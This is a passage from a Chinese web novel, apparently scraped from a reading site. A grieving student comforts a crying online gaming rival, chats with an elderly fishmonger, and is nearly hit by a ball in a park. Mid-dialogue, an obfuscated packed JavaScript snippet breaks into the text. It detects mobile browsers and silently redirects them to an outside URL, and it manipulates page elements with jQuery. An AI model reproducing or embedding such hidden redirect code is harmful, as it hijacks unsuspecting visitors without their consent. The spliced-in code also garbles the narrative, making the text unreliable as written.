“黑月亮我今天不把你这条命耗干净,我就不是人!就算你水平高,就算你技术无敌,也不兴这么侮辱人!”
“你是不是特别看不起我,觉得我像个小丑,一次次冲上去送死,明明能听见我说话,却装聋作哑,觉得我自言自语很蠢是吗?”
乐落微愣,她只是单纯不想说话,没想到对方当成挑衅。
在她的沉默声里,“猴子捞月”在丰富的想象力中,快要把自己气嗝屁。
“连一个陌生人都可以欺负我?为什么欺负我?为什么都欺负我?”
在崩溃声里,乐落敲击键盘的手指停下来,游戏里林黛玉的连招只放了一半,而孙悟空只剩下最后一丝血条。
生死存亡全在她的一念之差。
语音标识又亮了起来,绿色的起伏线试图测试着崩溃的程度。
“我爸妈要离婚了,我马上要是个单亲小孩了,他们都不相爱了,我这个爱情里的结晶更没人爱了。”
“大人们有自己的想法,我知道自己根本无法干涉,他们在一起和分开都没问过我的意见,在归属权上又假惺惺询问我的选择。”
“我谁都不想选!!!”
乐落听到了对方的声音里夹杂了哭腔,也知道对方纯粹是发泄情绪。
而这场游戏误打误撞充当了一个出口的作用。
“螃蟹看我心情不好,带我来打游戏,在选择上场英雄时,我选择了从石头里蹦出来的孙悟空,要是可以的话,我宁愿自己是从石头缝里蹦出来的,石头总不会炸开问我要选择哪一块吧?”
“我本来觉得这些坏情绪可以在游戏里发泄,没想到林黛玉骑着赤兔拿着九齿钉耙,一下子夯我脑门上给我敲死了!”
“草哥我在游戏里从来没被人这么虐过!好不容易加上你好友,开了竞技场敲死我那么多次,搁电脑后面看我发疯很好玩?”
“我生日愿望还许的全家永远不分开,结果隔天我爸妈就告诉我要离婚,以前的过年吃不上肉,满大街跑着卖对联鞭炮,再苦再难的日子怎么难都熬过来了,怎么如今经济情况好起来,家反倒是没了?”
十几岁的少年心理承受力到了崩溃的临界点,抱怨声和诉苦声在长时间的沉默里,情绪崩盘。耳机里的哭腔愈发明显。
抽泣声转为号啕大哭,所有堆积的情绪在此刻释放。
游戏里林黛玉和孙悟空面对面站立,画面定格。
只有屏幕上方的时间在变动。
乐落听着耳机里的号啕大哭,哭腔极具感染力,连带着她都咬着下唇,眼眶里蓄满眼泪。
如珠子般从脸颊滑落,砸在膝盖上。
夜深人静里。
两个人隔着屏幕,感受着同样的无能为力。
这一夜彻夜未眠。
凌晨五点。
“猴子捞月”喉咙沙哑,放下一段恶狠狠的话,扬言“只要上线就找她决斗不死不休”,然后投降下线三秒钟便溜得没影。
熬夜加流泪,让乐落的眼底沾满了红血丝,电脑屏幕上是“猴子捞月”的主页,出生地为国外,年龄显示一百二十三岁。
其余信息如出一辙,都是胡编乱写,没有任何参考价值。
她眨了眨酸涩的眼睛,下塌的唇角久违地勾起。
这一夜耳边絮絮叨叨不断的喊打喊杀声,让她重新找回生命的实感。
窗外的阳光透过百叶窗渗进来,她难得有了困意,关掉电脑躺进床上,头刚沾上荞麦枕头就进入了梦乡。
好久没出现梦里的人,再度进入她的梦乡。
她扑进熟悉的怀抱里,诉说着对姥姥的思念,而姥姥摸着她的头,告诉她以后没有姥姥的日子,她最爱的偶像孙悟空会继续保护她。
孙悟空,猴子捞月。
不知是日有所思夜有所梦,亦或是梦境向来天马行空,两个八竿子打不着的人一同出现在她的梦里。
乐落不信玄学,奈何这句话是从姥姥的嘴里说出来的,哪怕是梦里的姥姥。
所以从那时开始,“猴子捞月”对她而言,不再只是一个可有可无的网友。
她对“猴子捞月”有了无可取代的滤镜,而“猴子捞月”这一夜崩溃后冷静下来也有些不好意思,两人口不言说达成相同的默契,一步步从敌对关系发展为最强CP。
早市街尾是李爷爷家的海鲜摊子,鱼鸡虾蟹一应俱全。
李爷爷早年下海捞鱼,风吹日晒,等中年身体实在吃不消就开了这家铺子。
东西新鲜,从不缺斤少两,生意红火了十几年,眼下这个点,东西都卖的差不多。
李爷爷正收拾着残局,他远远看到乐落,特意站在铺子前:“落落吃完早餐了?”
这家早市街好多都是谋生的外地人,李爷爷则是本地人,和姥姥也曾是同学。
听姥姥说两人关系很铁,后来李爷爷辍学才失去联系,等再见面时,两人都已是各有家室的中年人。
学生时代的情谊向来珍贵,重逢后两人时常回忆过去岁月,唠唠当年同学各自的去处,倒像是回到了无忧无虑的少年时代。
自姥姥去世后,乐落不再活泼,总是戴着耳机走得飞快,极少主动与人打招呼。
除李爷爷是例外,她停下脚步,举起手晃着:“李爷爷早上好啊!”
大抵打鱼时日光充足,李爷爷到如今脸仍是黝黑,他眯着眼,整张脸就牙白的突出:“这几天都忙得不行,你什么时候从店门口走过都没注意到,听说你是我们省的状元啊!”
他竖起大拇指:“我打小就看着你长大,早就说过你有大出息,那时你姥姥还不让我夸你,怕我给你造成压力。”
说着无心听者有意。
乐落听到姥姥时,眼神黯淡了下,如果姥姥还在的话,看到她成为省状元,应该会拉着她的手到处炫耀着说“这是我们家状元”。
可惜,姥姥不会再拉她的手,也不会知道姥姥的小骄傲在这个夏天一鸣惊人,名字写在红色横幅上,挂满了全市街道的半空。
李爷爷看出她的失落,懊恼地自责:“你瞧瞧我瞎说什么话,落落,你别放在心上,我就是……”
“李爷爷我很高兴,”
乐落打断他的话,怕意思含糊,又补了一句:“您在我面前提我姥姥,我很高兴。”
有人还记得她姥姥,她比任何人都开心。
李爷爷不知所措地挠头。
老人家平时就嘴笨,此刻更是找不到话题来缓解气氛。
他眼神转了一圈,最后停在坐在小板凳带着耳机玩游戏的小孙子身上:“李岩!你看看你落落姐姐都成省状元了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854913|191647||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你就考那点分还天天抱着手机玩?!”
李岩比乐落小两岁,在姥姥在时,李岩算是她的小跟班。
后来姥姥去世后,她不爱说话,再加上正处青春敏感期,两人的关系不复以往,久而久之,只剩下点面之交。
李岩是家里最小的孩子,说是集万千宠爱于一身也不为过,小时就是附近有名的小胖墩,几乎等比例长大,又高又胖,远看像是一堵墙。
他沉浸在游戏世界,耳机隔绝外界一切声音,李爷爷对着他怒吼好几声,他也没什么反应。
“这臭小子就是个网瘾少年,只要戴上耳机就和那聋子一样,说什么都听不见。”
李爷爷长叹了口气,扭过头,眼不见为净。他看乐落挂在耳朵上的耳机:“落落,你买的什么耳机?”
乐落抬手,下意识抚上耳机。
那些被压制在铁盒罐里的遗憾再次蠢蠢欲动。
她没明白其中意思:“嗯?”
“你这个质量看起来不错,戴着也能听到别人说话。”
李爷爷只当是耳机质量问题:“李岩不知道是不是买到次品了,只要戴上那耳机,什么都听不到,我打算给他换个你这样的。”
乐落沉默了两秒。
把耳机摘下来挂在脖子上,她扯出一丝勉强的笑,解释道:“其实都差不多,只要把音量调小一些就能听到了。”
李爷爷半信半疑:“这么说不是耳机的问题?”
“对。”乐落点头:“我就是把音量调小了些。”
旁边有顾客问鱼虾的价格,她怕耽误李爷爷的生意,朝着李爷爷挥挥手。
等拐过弯过了早市这条街,她又将脖子上的耳机重新挂到头上,在人行道,找了个小石子当消遣踢着向前。
带着小石子拐了个弯,路过一个小公园,临挨着大路的是小广场,晚上有叔叔阿姨自行组织的广场舞,白天就是放假学生跳绳打羽毛球的地方。
她听见了跑动声连同稚嫩的加油声混在一起,散在空气里全是青春的味道。
她无动于衷,低着头踢着小石子,没理会这些与她无关的热闹。
等走了十几步,一句惊呼声穿透耳机,进入她的耳膜。
“小心!!!”
小石子触碰到脚尖,飞出两米外的距离。
她朝着声源望去,阳光刺眼,眯着的眼眸出现片刻的黑,等眨巴了下眼后,阳光之外一个圆的东西正朝着自己袭来。
与记忆里某些画面重叠,耳朵里传来尖锐的爆鸣声,周围嘈杂的喊叫声变得混沌。
她心脏揪紧,双脚像是被长钉固定在地面上,站在原地失去了动弹的力气,眼睁睁看着东西离自己越来越近。
恐惧让她条件反射闭上眼,手指攥成拳,等待着足以摧毁她的阵痛传来。
并没有。
握紧的手心有一片润湿,她憋着气等红了脸,才轻轻吐出一口气。
安静的空气再度响起声音。
她缓缓睁开眼,迫切想知道发生了什么。
“别怕没事了。”
熟悉的声音在耳边炸开,清冽得像盛夏的冰镇水,略微急促的语调好似开了瓶盖冒着翻腾地气泡。
乐落愣了下,顾不得正跑向自己的女生。
转过头,看向身后。